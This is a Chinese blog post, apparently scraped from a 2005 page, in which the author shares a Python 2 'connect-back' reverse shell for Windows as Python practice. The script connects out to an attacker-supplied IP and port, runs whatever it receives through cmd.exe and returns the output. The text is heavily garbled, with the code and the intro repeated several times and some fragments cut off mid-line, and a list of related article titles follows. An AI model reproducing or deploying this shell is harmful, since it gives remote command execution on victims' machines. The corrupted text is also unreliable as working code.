python 写的一个反向连接的shell
2005-07-27 23:18
375 查看
sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
fo最近在复习python,顺便写了一个简单的反向shell。。纯粹是为了练笔。。因为python大部分都存在于linux/unix中,在windows中很少有安装python(尤其是服务器,除非web是python写的)。但我这个shell是一个windows的shell,不过稍加一改就可以在linux/unix下运行了。。。
拿出来怕大家笑话,不过对于那些想学python却还犹豫不决的朋友一个直观的印象吧。。。总之python确实可以称得上世界上最棒的脚本语言,我想它的应用会越来越广泛。。。
下面是代码,高手不要笑我了。。(要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的~~:——))
_one>
#!/usr/bin/python
import sys
import os
from socket import *
import string
def usage(name):
print '/t/tPython connect back shell/n/n'
print '/t/t superlone@EST/n/n'
print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name
if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)
conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'
try:
sock=socket(AF_INET,SOCK_STREAM)
sock.connect((conIP,conPort))
except:
print '[-]Socket Error!/n'
sys.exit(0)
sock.send(welcome)
prompt='superlone>'
while 1:
sock.send(prompt)
while 1:
data=sock.recv(1024)
if data:break
if data[:-1]=='exit':
sock.send('bye bye')
sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
for i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')
rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
r i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')
rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
#!/usr/bin/python
import sys
import os
from socket import *
import string
def usage(name):
print '/t/tPython connect back shell/n/n'
print '/t/t superlone@EST/n/n'
print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name
if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)
conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'
=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
fo最近在复习python,顺便写了一个简单的反向shell。。纯粹是为了练笔。。因为python大部分都存在于linux/unix中,在windows中很少有安装python(尤其是服务器,除非web是python写的)。但我这个shell是一个windows的shell,不过稍加一改就可以在linux/unix下运行了。。。
拿出来怕大家笑话,不过对于那些想学python却还犹豫不决的朋友一个直观的印象吧。。。总之python确实可以称得上世界上最棒的脚本语言,我想它的应用会越来越广泛。。。
下面是代码,高手不要笑我了。。(要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的~~:——))
_one>
#!/usr/bin/python
import sys
import os
from socket import *
import string
def usage(name):
print '/t/tPython connect back shell/n/n'
print '/t/t superlone@EST/n/n'
print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name
if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)
conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'
try:
sock=socket(AF_INET,SOCK_STREAM)
sock.connect((conIP,conPort))
except:
print '[-]Socket Error!/n'
sys.exit(0)
sock.send(welcome)
prompt='superlone>'
while 1:
sock.send(prompt)
while 1:
data=sock.recv(1024)
if data:break
if data[:-1]=='exit':
sock.send('bye bye')
sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
for i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')
rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
r i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')
rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
#!/usr/bin/python
import sys
import os
from socket import *
import string
def usage(name):
print '/t/tPython connect back shell/n/n'
print '/t/t superlone@EST/n/n'
print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name
if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)
conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'
=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
相关文章推荐
- 【Python】如何基于Python写一个TCP反向连接后门
- 如何基于Python写一个TCP反向连接后门
- 用python3写一个华工SCUT连接的脚本
- 基于python3.6连接mysql,实现一个银行转账的小功能(源码)
- Python利用OS模块模拟一个shell
- 跪求java 程序 swing加socket 做的反向连接远程控制软件,公司要我做我只用反向连接做了一个屏幕截取的,可是带事件控制的做不出报错一大堆,我都卡住了一周了。无奈啊!跪求java反向连接 带事件控制的完整代码!
- JSShell:一个基于python的交互式Shell
- python socket.error: [Errno 10054] 远程主机强迫关闭了一个现有的连接。
- python 反向连接后门
- python 连接 oracle的一个小例子
- python编写ttyshell的反向链接后门
- [转] python 远程主机强迫关闭了一个现有的连接 socket 超时设置 errno 10054
- python创建一个mysql连接耗时0.06秒
- Python连接DB2操作的一个小例子
- python _thread [WinError 10054] 远程主机强迫关闭了一个现有的连接问题
- 连接Python Postgres。。。 一个艰巨的任务
- python 远程主机强迫关闭了一个现有的连接 socket 超时设置 errno 10054
- python 将列表中的字符串连接成一个长路径的方法
- 一个小巧的Python Shell
- shell连接数据库,并输出一个html表格